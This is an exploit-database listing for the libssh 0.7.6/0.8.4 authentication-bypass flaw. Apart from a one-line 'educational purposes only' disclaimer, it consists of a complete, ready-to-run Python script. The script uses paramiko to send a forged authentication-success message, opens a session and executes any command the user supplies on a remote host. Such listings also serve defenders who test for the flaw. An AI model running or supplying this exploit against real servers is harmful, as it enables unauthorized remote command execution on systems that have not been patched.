Libssh 0.7.6 / 0.8.4 unauthorized access Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-20 | Type : remote | Platform : linux
This exploit / vulnerability Libssh 0.7.6 / 0.8.4 unauthorized access is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

# pip3 install paramiko==2.0.8

#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
logging.basicConfig(stream=sys.stdout)
bufsize = 2048



def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))

message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()

message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)

client = transport.open_session(timeout=10)
client.exec_command(command)

# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)

output = stdout.read()
error = stderr.read()

stdout.close()
stderr.close()

return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")

return None


if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))